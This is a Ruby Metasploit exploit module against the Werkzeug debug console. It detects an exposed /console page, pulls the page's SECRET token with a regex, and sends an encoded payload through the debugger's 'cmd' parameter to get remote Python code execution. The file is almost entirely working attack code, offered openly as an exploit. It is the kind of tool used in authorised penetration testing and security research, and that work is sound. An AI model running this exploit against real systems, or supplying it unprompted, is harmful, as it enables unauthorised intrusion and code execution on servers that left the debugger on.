##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Werkzeug Debug Shell Command Execution',
      'Description'    => %q{
        This module will exploit the Werkzeug debug console to put down a
        Python shell. This debugger "must never be used on production
        machines" but sometimes slips passed testing.

        Tested against:
          0.9.6 on Debian
          0.9.6 on Centos
          0.10  on Debian
      },
      'Author'         => 'h00die <mike[at]shorebreaksecurity.com>',
      'References'     =>
        [
          ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['python'],
      'Targets'        => [[ 'werkzeug 0.10 and older', {}]],
      'Arch'           => ARCH_PYTHON,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2015-06-28'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
      ], self.class
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(datastore['TARGETURI'])
    )

    # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
    if res && res.body =~ /Werkzeug powered traceback interpreter/
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    # first we need to get the SECRET code
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(datastore['TARGETURI'])
    )

    if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
      secret = $1
      vprint_status("Secret Code: #{secret}")
      send_request_cgi(
        'method'   => 'GET',
        'uri'      => normalize_uri(datastore['TARGETURI']),
        'vars_get' => {
          '__debugger__' => 'yes',
          'cmd'          => payload.encoded,
          'frm'          => '0',
          's'            => secret
        }
      )
    else
      print_error('Secret code not detected.')
    end
  end
end
